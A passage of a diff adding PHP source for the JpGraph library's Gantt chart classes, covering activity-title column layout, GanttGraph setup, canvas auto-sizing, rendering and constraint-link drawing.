+	$this->iShow=$aF;
+    }
+
+    // Specify font
+    function SetFont($aFFamily,$aFStyle=FS_NORMAL,$aFSize=10) {
+	$this->iFFamily = $aFFamily;
+	$this->iFStyle	 = $aFStyle;
+	$this->iFSize	 = $aFSize;
+    }
+
+    function SetStyle($aStyle) {
+	$this->iStyle = $aStyle;
+    }
+
+    function SetColumnMargin($aLeft,$aRight) {
+	$this->iLeftColMargin = $aLeft;
+	$this->iRightColMargin = $aRight;
+    }
+
+    function SetFontColor($aFontColor) {
+	$this->iFontColor = $aFontColor;
+    }
+
+    function SetColor($aColor) {
+	$this->iColor = $aColor;
+    }
+
+    function SetBackgroundColor($aColor) {
+	$this->iBackgroundColor = $aColor;
+    }
+
+    function SetColTitles($aTitles,$aWidth=null) {
+	$this->iTitles = $aTitles;
+	$this->iWidth = $aWidth;
+    }
+
+    function SetMinColWidth($aWidths) {
+	$n = min(count($this->iTitles),count($aWidths));
+	for($i=0; $i < $n; ++$i ) {
+	    if( !empty($aWidths[$i]) ) {
+		if( empty($this->iWidth[$i]) ) {
+		    $this->iWidth[$i] = $aWidths[$i];
+		}
+		else {
+		    $this->iWidth[$i] = max($this->iWidth[$i],$aWidths[$i]);
+		}
+	    }
+	}
+    }
+
+    function GetWidth($aImg) {
+	$txt = new TextProperty();
+	$txt->SetFont($this->iFFamily,$this->iFStyle,$this->iFSize);
+	$n = count($this->iTitles) ;
+	$rm=$this->iRightColMargin;
+	$w = 0;
+	for($h=0, $i=0; $i < $n; ++$i ) {
+	    $w += $this->iLeftColMargin;
+	    $txt->Set($this->iTitles[$i]);
+	    if( !empty($this->iWidth[$i]) ) {
+		$w1 = max($txt->GetWidth($aImg)+$rm,$this->iWidth[$i]);
+	    }
+	    else {
+		$w1 = $txt->GetWidth($aImg)+$rm;
+	    }
+	    $this->iWidth[$i] = $w1;
+	    $w += $w1;
+	    $h = max($h,$txt->GetHeight($aImg));
+	}
+	$this->iHeight = $h+$this->iTopHeaderMargin;
+        $txt='';
+	return $w;
+    }
+    
+    function GetColStart($aImg,&$aStart,$aAddLeftMargin=false) {
+	$n = count($this->iTitles) ;
+	$adj = $aAddLeftMargin ? $this->iLeftColMargin : 0;
+	$aStart=array($aImg->left_margin+$adj);
+	for( $i=1; $i < $n; ++$i ) {
+	    $aStart[$i] = $aStart[$i-1]+$this->iLeftColMargin+$this->iWidth[$i-1];
+	}
+    }
+    
+    // Adjust headers left, right or centered
+    function SetHeaderAlign($aAlign) {
+	$this->iHeaderAlign=$aAlign;
+    }
+
+    function Stroke($aImg,$aXLeft,$aYTop,$aXRight,$aYBottom,$aUseTextHeight=false) {
+
+	if( !$this->iShow ) return;
+
+	$txt = new TextProperty();
+	$txt->SetFont($this->iFFamily,$this->iFStyle,$this->iFSize);
+	$txt->SetColor($this->iFontColor);
+	$txt->SetAlign($this->iHeaderAlign,'top');
+	$n=count($this->iTitles);
+
+	if( $n == 0 ) 
+	    return;
+	
+	$x = $aXLeft;
+	$h = $this->iHeight;
+	$yTop = $aUseTextHeight ? $aYBottom-$h-$this->iTopColMargin-$this->iBottomColMargin : $aYTop ;
+
+	if( $h < 0 ) {
+	    JpGraphError::RaiseL(6001);
+//('Internal error. Height for ActivityTitles is < 0');
+	}
+
+	$aImg->SetLineWeight(1);
+	// Set background color
+	$aImg->SetColor($this->iBackgroundColor);
+	$aImg->FilledRectangle($aXLeft,$yTop,$aXRight,$aYBottom-1);
+
+	if( $this->iStyle == 1 ) {
+	    // Make a 3D effect
+	    $aImg->SetColor('white');
+	    $aImg->Line($aXLeft,$yTop+1,
+			$aXRight,$yTop+1);
+	}
+	
+	for($i=0; $i < $n; ++$i ) {
+	    if( $this->iStyle == 1 ) {
+		// Make a 3D effect
+		$aImg->SetColor('white');
+		$aImg->Line($x+1,$yTop,$x+1,$aYBottom);
+	    }
+	    $x += $this->iLeftColMargin;
+	    $txt->Set($this->iTitles[$i]);
+	    
+	    // Adjust the text anchor position according to the choosen alignment
+	    $xp = $x;
+	    if( $this->iHeaderAlign == 'center' ) {
+		$xp = (($x-$this->iLeftColMargin)+($x+$this->iWidth[$i]))/2;
+	    }
+	    elseif( $this->iHeaderAlign == 'right' ) {
+		$xp = $x +$this->iWidth[$i]-$this->iRightColMargin;
+	    }
+		    
+	    $txt->Stroke($aImg,$xp,$yTop+$this->iTopHeaderMargin);
+	    $x += $this->iWidth[$i];
+	    if( $i < $n-1 ) {
+		$aImg->SetColor($this->iColor);
+		$aImg->Line($x,$yTop,$x,$aYBottom);
+	    }
+	}
+
+	$aImg->SetColor($this->iColor);
+	$aImg->Line($aXLeft,$yTop, $aXRight,$yTop);
+
+	// Stroke vertical column dividers
+	$cols=array();
+	$this->GetColStart($aImg,$cols);
+	$n=count($cols);
+	for( $i=1; $i < $n; ++$i ) {
+	    $this->vgrid->Stroke($aImg,$cols[$i],$aYBottom,$cols[$i],
+				    $aImg->height - $aImg->bottom_margin);
+	}
+    }
+}
+
+
+//===================================================
+// CLASS GanttGraph
+// Description: Main class to handle gantt graphs
+//===================================================
+class GanttGraph extends Graph {
+    public $scale;		// Public accessible
+    public $hgrid=null;
+    private $iObj=array();				// Gantt objects
+    private $iLabelHMarginFactor=0.2;	// 10% margin on each side of the labels
+    private $iLabelVMarginFactor=0.4;	// 40% margin on top and bottom of label
+    private $iLayout=GANTT_FROMTOP;	// Could also be GANTT_EVEN
+    private $iSimpleFont = FF_FONT1,$iSimpleFontSize=11;
+    private $iSimpleStyle=GANTT_RDIAG,$iSimpleColor='yellow',$iSimpleBkgColor='red';
+    private $iSimpleProgressBkgColor='gray',$iSimpleProgressColor='darkgreen';
+    private $iSimpleProgressStyle=GANTT_SOLID;
+//---------------
+// CONSTRUCTOR	
+    // Create a new gantt graph
+    function GanttGraph($aWidth=0,$aHeight=0,$aCachedName="",$aTimeOut=0,$aInline=true) {
+
+	// Backward compatibility
+	if( $aWidth == -1 ) $aWidth=0;
+	if( $aHeight == -1 ) $aHeight=0;
+
+	if( $aWidth<  0 || $aHeight < 0 ) {
+	    JpgraphError::RaiseL(6002);
+//("You can't specify negative sizes for Gantt graph dimensions. Use 0 to indicate that you want the library to automatically determine a dimension.");
+	}
+	Graph::Graph($aWidth,$aHeight,$aCachedName,$aTimeOut,$aInline);		
+	$this->scale = new GanttScale($this->img);
+
+	// Default margins
+	$this->img->SetMargin(15,17,25,15);
+
+	$this->hgrid = new HorizontalGridLine();
+		
+	$this->scale->ShowHeaders(GANTT_HWEEK|GANTT_HDAY);
+	$this->SetBox();
+    }
+	
+//---------------
+// PUBLIC METHODS
+
+    // 
+
+    function SetSimpleFont($aFont,$aSize) {
+	$this->iSimpleFont = $aFont;
+	$this->iSimpleFontSize = $aSize;
+    }
+
+    function SetSimpleStyle($aBand,$aColor,$aBkgColor) {
+	$this->iSimpleStyle = $aBand;
+	$this->iSimpleColor = $aColor;
+	$this->iSimpleBkgColor = $aBkgColor;
+    }
+
+    // A utility function to help create basic Gantt charts
+    function CreateSimple($data,$constrains=array(),$progress=array()) {
+	$num = count($data);
+	for( $i=0; $i < $num; ++$i) {
+	    switch( $data[$i][1] ) {
+		case ACTYPE_GROUP:
+		    // Create a slightly smaller height bar since the
+		    // "wings" at the end will make it look taller
+		    $a = new GanttBar($data[$i][0],$data[$i][2],$data[$i][3],$data[$i][4],'',8);
+		    $a->title->SetFont($this->iSimpleFont,FS_BOLD,$this->iSimpleFontSize);		
+		    $a->rightMark->Show();
+		    $a->rightMark->SetType(MARK_RIGHTTRIANGLE);
+		    $a->rightMark->SetWidth(8);
+		    $a->rightMark->SetColor('black');
+		    $a->rightMark->SetFillColor('black');
+	    
+		    $a->leftMark->Show();
+		    $a->leftMark->SetType(MARK_LEFTTRIANGLE);
+		    $a->leftMark->SetWidth(8);
+		    $a->leftMark->SetColor('black');
+		    $a->leftMark->SetFillColor('black');
+	    
+		    $a->SetPattern(BAND_SOLID,'black');
+		    $csimpos = 6;
+		    break;
+		
+		case ACTYPE_NORMAL:
+		    $a = new GanttBar($data[$i][0],$data[$i][2],$data[$i][3],$data[$i][4],'',10);
+		    $a->title->SetFont($this->iSimpleFont,FS_NORMAL,$this->iSimpleFontSize);
+		    $a->SetPattern($this->iSimpleStyle,$this->iSimpleColor);
+		    $a->SetFillColor($this->iSimpleBkgColor);
+		    // Check if this activity should have a constrain line
+		    $n = count($constrains);
+		    for( $j=0; $j < $n; ++$j ) {
+			if( empty($constrains[$j]) || (count($constrains[$j]) != 3) ) {
+			    JpGraphError::RaiseL(6003,$j);
+//("Invalid format for Constrain parameter at index=$j in CreateSimple(). Parameter must start with index 0 and contain arrays of (Row,Constrain-To,Constrain-Type)");	 
+			}
+			if( $constrains[$j][0]==$data[$i][0] ) {
+			    $a->SetConstrain($constrains[$j][1],$constrains[$j][2],'black',ARROW_S2,ARROWT_SOLID);    
+			}
+		    }
+
+		    // Check if this activity have a progress bar
+		    $n = count($progress);
+		    for( $j=0; $j < $n; ++$j ) {
+			
+			if( empty($progress[$j]) || (count($progress[$j]) != 2) ) {
+			    JpGraphError::RaiseL(6004,$j);
+//("Invalid format for Progress parameter at index=$j in CreateSimple(). Parameter must start with index 0 and contain arrays of (Row,Progress)");	
+			}
+			if( $progress[$j][0]==$data[$i][0] ) {
+			    $a->progress->Set($progress[$j][1]);
+			    $a->progress->SetPattern($this->iSimpleProgressStyle,
+						     $this->iSimpleProgressColor);
+			    $a->progress->SetFillColor($this->iSimpleProgressBkgColor);
+			    //$a->progress->SetPattern($progress[$j][2],$progress[$j][3]);
+			    break;
+			}
+		    }
+		    $csimpos = 6;
+		    break;
+
+		case ACTYPE_MILESTONE:
+		    $a = new MileStone($data[$i][0],$data[$i][2],$data[$i][3]);
+		    $a->title->SetFont($this->iSimpleFont,FS_NORMAL,$this->iSimpleFontSize);
+		    $a->caption->SetFont($this->iSimpleFont,FS_NORMAL,$this->iSimpleFontSize);
+		    $csimpos = 5;
+		    break;
+		default:
+		    die('Unknown activity type');
+		    break;
+	    }
+
+	    // Setup caption
+	    $a->caption->Set($data[$i][$csimpos-1]);
+
+	    // Check if this activity should have a CSIM target ?
+	    if( !empty($data[$i][$csimpos]) ) {
+		$a->SetCSIMTarget($data[$i][$csimpos]);
+		$a->SetCSIMAlt($data[$i][$csimpos+1]);
+	    }
+	    if( !empty($data[$i][$csimpos+2]) ) {
+		$a->title->SetCSIMTarget($data[$i][$csimpos+2]);
+		$a->title->SetCSIMAlt($data[$i][$csimpos+3]);
+	    }
+
+	    $this->Add($a);
+	}
+    }
+
+	
+    // Set what headers should be shown
+    function ShowHeaders($aFlg) {
+	$this->scale->ShowHeaders($aFlg);
+    }
+	
+    // Specify the fraction of the font height that should be added 
+    // as vertical margin
+    function SetLabelVMarginFactor($aVal) {
+	$this->iLabelVMarginFactor = $aVal;
+    }
+
+    // Synonym to the method above
+    function SetVMarginFactor($aVal) {
+	$this->iLabelVMarginFactor = $aVal;
+    }
+	
+	
+    // Add a new Gantt object
+    function Add($aObject) {
+	if( is_array($aObject) && count($aObject) > 0 ) {
+	    $cl = $aObject[0];
+	    if( class_exists('IconPlot',false) && ($cl instanceof IconPlot) ) {
+		$this->AddIcon($aObject);
+	    }
+	    else {
+		$n = count($aObject);
+		for($i=0; $i < $n; ++$i)
+		    $this->iObj[] = $aObject[$i];
+	    }
+	}
+	else {
+	    if( class_exists('IconPlot',false) && ($aObject instanceof IconPlot) ) {
+		$this->AddIcon($aObject);
+	    }
+	    else {	    
+		$this->iObj[] = $aObject;
+	    }
+	}
+    }
+
+    // Override inherit method from Graph and give a warning message
+    function SetScale($aAxisType,$aYMin=1,$aYMax=1,$aXMin=1,$aXMax=1) {
+	JpGraphError::RaiseL(6005);
+//("SetScale() is not meaningfull with Gantt charts.");
+    }
+
+    // Specify the date range for Gantt graphs (if this is not set it will be
+    // automtically determined from the input data)
+    function SetDateRange($aStart,$aEnd) {
+	// Adjust the start and end so that the indicate the
+	// begining and end of respective start and end days
+	if( strpos($aStart,':') === false )
+	    $aStart = date('Y-m-d 00:00',strtotime($aStart));
+	if( strpos($aEnd,':') === false )
+	    $aEnd = date('Y-m-d 23:59',strtotime($aEnd));
+	$this->scale->SetRange($aStart,$aEnd);
+    }
+	
+    // Get the maximum width of the activity titles columns for the bars
+    // The name is lightly misleading since we from now on can have
+    // multiple columns in the label section. When this was first written
+    // it only supported a single label, hence the name.
+    function GetMaxLabelWidth() {
+	$m=10;
+	if( $this->iObj != null ) {
+	    $marg = $this->scale->actinfo->iLeftColMargin+$this->scale->actinfo->iRightColMargin;
+ 	    $n = count($this->iObj);
+ 	    for($i=0; $i < $n; ++$i) {
+		if( !empty($this->iObj[$i]->title) ) {
+		    if( $this->iObj[$i]->title->HasTabs() ) {
+			list($tot,$w) = $this->iObj[$i]->title->GetWidth($this->img,true);
+			$m=max($m,$tot);
+		    }
+		    else 
+			$m=max($m,$this->iObj[$i]->title->GetWidth($this->img));
+		}
+	    }
+	}
+	return $m;
+    }
+	
+    // Get the maximum height of the titles for the bars
+    function GetMaxLabelHeight() {
+	$m=10;
+	if( $this->iObj != null ) {
+	    $n = count($this->iObj);
+	    for($i=0; $i < $n; ++$i) {
+		if( !empty($this->iObj[$i]->title) ) {
+		    $m=max($m,$this->iObj[$i]->title->GetHeight($this->img));
+		}
+	    }
+	}
+	return $m;
+    }
+
+    function GetMaxBarAbsHeight() {
+	$m=0;
+	if( $this->iObj != null ) {
+	    $m = $this->iObj[0]->GetAbsHeight($this->img);
+	    $n = count($this->iObj);
+	    for($i=1; $i < $n; ++$i) {
+		$m=max($m,$this->iObj[$i]->GetAbsHeight($this->img));
+	    }
+	}
+	return $m;		
+    }
+	
+    // Get the maximum used line number (vertical position) for bars
+    function GetBarMaxLineNumber() {
+	$m=1;
+	if( $this->iObj != null ) {
+	    $m = $this->iObj[0]->GetLineNbr();
+	    $n = count($this->iObj);
+	    for($i=1; $i < $n; ++$i) {
+		$m=max($m,$this->iObj[$i]->GetLineNbr());
+	    }
+	}
+	return $m;
+    }
+	
+    // Get the minumum and maximum used dates for all bars
+    function GetBarMinMax() {
+	$start = 0 ;
+	$n = count($this->iObj);
+	while( $start < $n && $this->iObj[$start]->GetMaxDate() === false )
+	    ++$start;
+	if( $start >= $n ) {
+	    JpgraphError::RaiseL(6006);
+//('Cannot autoscale Gantt chart. No dated activities exist. [GetBarMinMax() start >= n]');
+	}
+
+	$max=$this->scale->NormalizeDate($this->iObj[$start]->GetMaxDate());
+	$min=$this->scale->NormalizeDate($this->iObj[$start]->GetMinDate());
+
+	for($i=$start+1; $i < $n; ++$i) {
+	    $rmax = $this->scale->NormalizeDate($this->iObj[$i]->GetMaxDate());
+	    if( $rmax != false ) 
+		$max=Max($max,$rmax);
+	    $rmin = $this->scale->NormalizeDate($this->iObj[$i]->GetMinDate());
+	    if( $rmin != false ) 
+		$min=Min($min,$rmin);
+	}
+	$minDate = date("Y-m-d",$min);
+	$min = strtotime($minDate);
+	$maxDate = date("Y-m-d 23:59",$max);
+	$max = strtotime($maxDate);	
+	return array($min,$max);
+    }
+
+    // Create a new auto sized canvas if the user hasn't specified a size
+    // The size is determined by what scale the user has choosen and hence
+    // the minimum width needed to display the headers. Some margins are
+    // also added to make it better looking.
+    function AutoSize() {
+
+	if( $this->img->img == null ) {
+	    // The predefined left, right, top, bottom margins.
+	    // Note that the top margin might incease depending on
+	    // the title.
+	    $lm = $this->img->left_margin; 
+	    $rm = $this->img->right_margin; 
+	    $rm += 2 ;
+	    $tm = $this->img->top_margin; 
+	    $bm = $this->img->bottom_margin; 
+	    $bm += 1; 
+	    if( BRAND_TIMING ) $bm += 10;
+			
+	    // First find out the height			
+	    $n=$this->GetBarMaxLineNumber()+1;
+	    $m=max($this->GetMaxLabelHeight(),$this->GetMaxBarAbsHeight());
+	    $height=$n*((1+$this->iLabelVMarginFactor)*$m);			
+			
+	    // Add the height of the scale titles			
+	    $h=$this->scale->GetHeaderHeight();
+	    $height += $h;
+
+	    // Calculate the top margin needed for title and subtitle
+	    if( $this->title->t != "" ) {
+		$tm += $this->title->GetFontHeight($this->img);
+	    }
+	    if( $this->subtitle->t != "" ) {
+		$tm += $this->subtitle->GetFontHeight($this->img);
+	    }
+
+	    // ...and then take the bottom and top plot margins into account
+	    $height += $tm + $bm + $this->scale->iTopPlotMargin + $this->scale->iBottomPlotMargin;
+	    // Now find the minimum width for the chart required
+
+	    // If day scale or smaller is shown then we use the day font width
+	    // as the base size unit.
+	    // If only weeks or above is displayed we use a modified unit to
+	    // get a smaller image.
+	    if( $this->scale->IsDisplayHour() || $this->scale->IsDisplayMinute() ) {
+		// Add 2 pixel margin on each side
+		$fw=$this->scale->day->GetFontWidth($this->img)+4; 
+	    }
+	    elseif( $this->scale->IsDisplayWeek() ) {
+		$fw = 8;
+	    }
+	    elseif( $this->scale->IsDisplayMonth() ) {
+		$fw = 4;
+	    }
+	    else {
+		$fw = 2;
+	    }
+
+	    $nd=$this->scale->GetNumberOfDays();
+
+	    if( $this->scale->IsDisplayDay() ) {
+		// If the days are displayed we also need to figure out
+		// how much space each day's title will require.
+		switch( $this->scale->day->iStyle ) {
+		    case DAYSTYLE_LONG :
+			$txt = "Monday";
+			break;
+		    case DAYSTYLE_LONGDAYDATE1 :
+			$txt =  "Monday 23 Jun";
+			break;
+		    case DAYSTYLE_LONGDAYDATE2 :
+			$txt =  "Monday 23 Jun 2003";
+			break;
+		    case DAYSTYLE_SHORT : 
+			$txt =  "Mon";
+			break;
+		    case DAYSTYLE_SHORTDAYDATE1 : 
+                        $txt =  "Mon 23/6";
+			break;
+		    case DAYSTYLE_SHORTDAYDATE2 :
+			$txt =  "Mon 23 Jun";
+			break;
+		    case DAYSTYLE_SHORTDAYDATE3 :
+			$txt =  "Mon 23";
+			break;
+		    case DAYSTYLE_SHORTDATE1 :
+                        $txt =  "23/6";
+			break;
+		    case DAYSTYLE_SHORTDATE2 :
+			$txt =  "23 Jun";
+			break;
+		    case DAYSTYLE_SHORTDATE3 :
+			$txt =  "Mon 23";
+			break;
+		    case DAYSTYLE_SHORTDATE4 :
+			$txt =  "88";
+			break;
+		    case DAYSTYLE_CUSTOM :
+			$txt = date($this->scale->day->iLabelFormStr,
+				    strtotime('2003-12-20 18:00'));
+			break;
+		    case DAYSTYLE_ONELETTER :
+		    default:
+			$txt = "M";
+			break;
+		}
+		$fw = $this->scale->day->GetStrWidth($this->img,$txt)+6;
+	    }
+
+	    // If we have hours enabled we must make sure that each day has enough
+	    // space to fit the number of hours to be displayed.
+	    if( $this->scale->IsDisplayHour() ) {
+		// Depending on what format the user has choose we need different amount
+		// of space. We therefore create a typical string for the choosen format
+		// and determine the length of that string.
+		switch( $this->scale->hour->iStyle ) {
+		    case HOURSTYLE_HMAMPM:
+			$txt = '12:00pm';
+			break;
+		    case HOURSTYLE_H24:
+			// 13
+			$txt = '24';
+			break;
+		    case HOURSTYLE_HAMPM:
+			$txt = '12pm';
+			break;
+		    case HOURSTYLE_CUSTOM:
+			$txt = date($this->scale->hour->iLabelFormStr,strtotime('2003-12-20 18:00'));
+			break;
+		    case HOURSTYLE_HM24:
+		    default:
+			$txt = '24:00';
+			break;
+		}
+
+		$hfw = $this->scale->hour->GetStrWidth($this->img,$txt)+6;
+		$mw = $hfw;
+		if( $this->scale->IsDisplayMinute() ) {
+		    // Depending on what format the user has choose we need different amount
+		    // of space. We therefore create a typical string for the choosen format
+		    // and determine the length of that string.
+		    switch( $this->scale->minute->iStyle ) {
+			case HOURSTYLE_CUSTOM:
+			    $txt2 = date($this->scale->minute->iLabelFormStr,strtotime('2005-05-15 18:55'));
+			    break;
+			case MINUTESTYLE_MM:
+			default:
+			    $txt2 = '15';
+			    break;
+		    }
+		    
+		    $mfw = $this->scale->minute->GetStrWidth($this->img,$txt2)+6;
+		    $n2 = ceil(60 / $this->scale->minute->GetIntervall() );
+		    $mw = $n2 * $mfw;
+		}
+		$hfw = $hfw < $mw ? $mw : $hfw ;   
+		$n = ceil(24*60 / $this->scale->TimeToMinutes($this->scale->hour->GetIntervall()) );
+		$hw = $n * $hfw;
+		$fw = $fw < $hw ? $hw : $fw ;
+	    }
+
+	    // We need to repeat this code block here as well. 
+	    // THIS iS NOT A MISTAKE !
+	    // We really need it since we need to adjust for minutes both in the case
+	    // where hour scale is shown and when it is not shown.
+
+	    if( $this->scale->IsDisplayMinute() ) {
+		// Depending on what format the user has choose we need different amount
+		// of space. We therefore create a typical string for the choosen format
+		// and determine the length of that string.
+		switch( $this->scale->minute->iStyle ) {
+		    case HOURSTYLE_CUSTOM:
+			$txt = date($this->scale->minute->iLabelFormStr,strtotime('2005-05-15 18:55'));
+			break;
+		    case MINUTESTYLE_MM:
+		    default:
+			$txt = '15';
+			break;
+		}
+		
+		$mfw = $this->scale->minute->GetStrWidth($this->img,$txt)+6;
+		$n = ceil(60 / $this->scale->TimeToMinutes($this->scale->minute->GetIntervall()) );
+		$mw = $n * $mfw;
+		$fw = $fw < $mw ? $mw : $fw ;
+	    }
+
+	    // If we display week we must make sure that 7*$fw is enough
+	    // to fit up to 10 characters of the week font (if the week is enabled)
+	    if( $this->scale->IsDisplayWeek() ) {
+		// Depending on what format the user has choose we need different amount
+		// of space
+		$fsw = strlen($this->scale->week->iLabelFormStr);
+		if( $this->scale->week->iStyle==WEEKSTYLE_FIRSTDAY2WNBR ) {
+		    $fsw += 8;
+		}
+		elseif( $this->scale->week->iStyle==WEEKSTYLE_FIRSTDAYWNBR ) {
+		    $fsw += 7;
+		}
+		else {
+		    $fsw += 4;
+		}
+		    
+		$ww = $fsw*$this->scale->week->GetFontWidth($this->img);
+		if( 7*$fw < $ww ) {
+		    $fw = ceil($ww/7);
+		}
+	    }
+
+	    if( !$this->scale->IsDisplayDay() && !$this->scale->IsDisplayHour() &&
+		!( ($this->scale->week->iStyle==WEEKSTYLE_FIRSTDAYWNBR || 
+		    $this->scale->week->iStyle==WEEKSTYLE_FIRSTDAY2WNBR) && $this->scale->IsDisplayWeek() ) ) {
+		// If we don't display the individual days we can shrink the
+		// scale a little bit. This is a little bit pragmatic at the 
+		// moment and should be re-written to take into account
+		// a) What scales exactly are shown and 
+		// b) what format do they use so we know how wide we need to
+		// make each scale text space at minimum.
+		$fw /= 2;
+		if( !$this->scale->IsDisplayWeek() ) {
+		    $fw /= 1.8;
+		}
+	    }
+
+	    $cw = $this->GetMaxActInfoColWidth() ;
+	    $this->scale->actinfo->SetMinColWidth($cw); 
+	    if( $this->img->width <= 0 ) {
+		// Now determine the width for the activity titles column
+
+		// Firdst find out the maximum width of each object column
+		$titlewidth = max(max($this->GetMaxLabelWidth(),
+				      $this->scale->tableTitle->GetWidth($this->img)), 
+				  $this->scale->actinfo->GetWidth($this->img));
+
+		// Add the width of the vertivcal divider line
+		$titlewidth += $this->scale->divider->iWeight*2;
+
+
+		// Now get the total width taking 
+		// titlewidth, left and rigt margin, dayfont size 
+		// into account
+		$width = $titlewidth + $nd*$fw + $lm+$rm;
+	    }
+	    else {
+		$width = $this->img->width;
+	    }
+
+	    $width = round($width);
+	    $height = round($height);
+	    // Make a sanity check on image size
+	    if( $width > MAX_GANTTIMG_SIZE_W || $height > MAX_GANTTIMG_SIZE_H ) {
+		JpgraphError::RaiseL(6007,$width,$height);
+//("Sanity check for automatic Gantt chart size failed. Either the width (=$width) or height (=$height) is larger than MAX_GANTTIMG_SIZE. This could potentially be caused by a wrong date in one of the activities.");
+	    }
+	    $this->img->CreateImgCanvas($width,$height);			
+	    $this->img->SetMargin($lm,$rm,$tm,$bm);
+	}
+    }
+
+    // Return an array width the maximum width for each activity
+    // column. This is used when we autosize the columns where we need
+    // to find out the maximum width of each column. In order to do that we
+    // must walk through all the objects, sigh...
+    function GetMaxActInfoColWidth() {
+	$n = count($this->iObj);
+	if( $n == 0 ) return;
+	$w = array();
+	$m = $this->scale->actinfo->iLeftColMargin + $this->scale->actinfo->iRightColMargin;
+	
+	for( $i=0; $i < $n; ++$i ) {
+	    $tmp = $this->iObj[$i]->title->GetColWidth($this->img,$m);
+	    $nn = count($tmp);
+	    for( $j=0; $j < $nn; ++$j ) {
+		if( empty($w[$j]) ) 
+		    $w[$j] = $tmp[$j];
+		else 
+		    $w[$j] = max($w[$j],$tmp[$j]);
+	    }
+	}
+	return $w;
+    }
+
+    // Stroke the gantt chart
+    function Stroke($aStrokeFileName="") {	
+
+	// If the filename is the predefined value = '_csim_special_'
+	// we assume that the call to stroke only needs to do enough
+	// to correctly generate the CSIM maps.
+	// We use this variable to skip things we don't strictly need
+	// to do to generate the image map to improve performance
+	// a best we can. Therefor you will see a lot of tests !$_csim in the
+	// code below.
+	$_csim = ($aStrokeFileName===_CSIM_SPECIALFILE);
+
+	// Should we autoscale dates?
+
+	if( !$this->scale->IsRangeSet() ) {
+	    list($min,$max) = $this->GetBarMinMax();
+	    $this->scale->SetRange($min,$max);
+	}
+
+	$this->scale->AdjustStartEndDay();
+
+	// Check if we should autoscale the image
+	$this->AutoSize();
+
+	// Should we start from the top or just spread the bars out even over the
+	// available height
+	$this->scale->SetVertLayout($this->iLayout);			
+	if( $this->iLayout == GANTT_FROMTOP ) {
+	    $maxheight=max($this->GetMaxLabelHeight(),$this->GetMaxBarAbsHeight());
+	    $this->scale->SetVertSpacing($maxheight*(1+$this->iLabelVMarginFactor));
+	}
+	// If it hasn't been set find out the maximum line number
+	if( $this->scale->iVertLines == -1 ) 
+	    $this->scale->iVertLines = $this->GetBarMaxLineNumber()+1; 	
+		
+	$maxwidth=max($this->scale->actinfo->GetWidth($this->img),
+		      max($this->GetMaxLabelWidth(),
+		      $this->scale->tableTitle->GetWidth($this->img)));
+
+	$this->scale->SetLabelWidth($maxwidth+$this->scale->divider->iWeight);//*(1+$this->iLabelHMarginFactor));
+
+	if( !$_csim ) {
+	    $this->StrokePlotArea();
+	    if( $this->iIconDepth == DEPTH_BACK ) {
+		$this->StrokeIcons();
+	    }
+	}
+
+	$this->scale->Stroke();
+
+	if( !$_csim ) {
+	    // Due to a minor off by 1 bug we need to temporarily adjust the margin
+	    $this->img->right_margin--;
+	    $this->StrokePlotBox();
+	    $this->img->right_margin++;
+	}
+
+	// Stroke Grid line
+	$this->hgrid->Stroke($this->img,$this->scale);
+
+	$n = count($this->iObj);
+	for($i=0; $i < $n; ++$i) {
+	    //$this->iObj[$i]->SetLabelLeftMargin(round($maxwidth*$this->iLabelHMarginFactor/2));
+	    $this->iObj[$i]->Stroke($this->img,$this->scale);
+	}
+
+	$this->StrokeTitles();
+
+	if( !$_csim ) {
+	    $this->StrokeConstrains();
+	    $this->footer->Stroke($this->img);
+
+
+	    if( $this->iIconDepth == DEPTH_FRONT) {
+		$this->StrokeIcons();
+	    }
+
+	    // Should we do any final image transformation
+	    if( $this->iImgTrans ) {
+		if( !class_exists('ImgTrans',false) ) {
+		    require_once('jpgraph_imgtrans.php');
+		}
+	    
+		$tform = new ImgTrans($this->img->img);
+		$this->img->img = $tform->Skew3D($this->iImgTransHorizon,$this->iImgTransSkewDist,
+						 $this->iImgTransDirection,$this->iImgTransHighQ,
+						 $this->iImgTransMinSize,$this->iImgTransFillColor,
+						 $this->iImgTransBorder);
+	    }
+	    
+	    
+	    // If the filename is given as the special "__handle"
+	    // then the image handler is returned and the image is NOT
+	    // streamed back
+	    if( $aStrokeFileName == _IMG_HANDLER ) {
+		return $this->img->img;
+	    }
+	    else {
+		// Finally stream the generated picture					
+		$this->cache->PutAndStream($this->img,$this->cache_name,$this->inline,
+					   $aStrokeFileName);		
+	    }
+	}
+    }
+
+    function StrokeConstrains() {
+	$n = count($this->iObj);
+
+	// Stroke all constrains
+	for($i=0; $i < $n; ++$i) {
+
+	    // Some gantt objects may not have constraints associated with them
+	    // for example we can add IconPlots which doesn't have this property.
+	    if( empty($this->iObj[$i]->constraints) ) continue;
+
+	    $numConstrains = count($this->iObj[$i]->constraints);
+
+	    for( $k = 0; $k < $numConstrains; $k++ ) {
+		$vpos = $this->iObj[$i]->constraints[$k]->iConstrainRow;
+		if( $vpos >= 0 ) {
+		    $c1 = $this->iObj[$i]->iConstrainPos;
+
+		    // Find out which object is on the target row
+		    $targetobj = -1;
+		    for( $j=0; $j < $n && $targetobj == -1; ++$j ) {
+			if( $this->iObj[$j]->iVPos == $vpos ) {
+			    $targetobj = $j;
+			}
+		    }
+		    if( $targetobj == -1 ) {
+			JpGraphError::RaiseL(6008,$this->iObj[$i]->iVPos,$vpos);
+//('You have specifed a constrain from row='.$this->iObj[$i]->iVPos.' to row='.$vpos.' which does not have any activity.');
+		    }
+		    $c2 = $this->iObj[$targetobj]->iConstrainPos;
+		    if( count($c1) == 4 && count($c2 ) == 4) {
+			switch( $this->iObj[$i]->constraints[$k]->iConstrainType ) {
+			    case CONSTRAIN_ENDSTART:
+				if( $c1[1] < $c2[1] ) {
+				    $link = new GanttLink($c1[2],$c1[3],$c2[0],$c2[1]);
+				}
+				else {
+				    $link = new GanttLink($c1[2],$c1[1],$c2[0],$c2[3]);
+				}
+				$link->SetPath(3);
+				break;
+			    case CONSTRAIN_STARTEND:
+				if( $c1[1] < $c2[1] ) {
+				    $link = new GanttLink($c1[0],$c1[3],$c2[2],$c2[1]);
+				}
+				else {
+				    $link = new GanttLink($c1[0],$c1[1],$c2[2],$c2[3]);
+				}
+				$link->SetPath(0);
+				break;
+			    case CONSTRAIN_ENDEND:
+				if( $c1[1] < $c2[1] ) {
+				    $link = new GanttLink($c1[2],$c1[3],$c2[2],$c2[1]);
+				}
+				else {
+				    $link = new GanttLink($c1[2],$c1[1],$c2[2],$c2[3]);
+				}
+				$link->SetPath(1);
+				break;
+			    case CONSTRAIN_STARTSTART:
+				if( $c1[1] < $c2[1] ) {
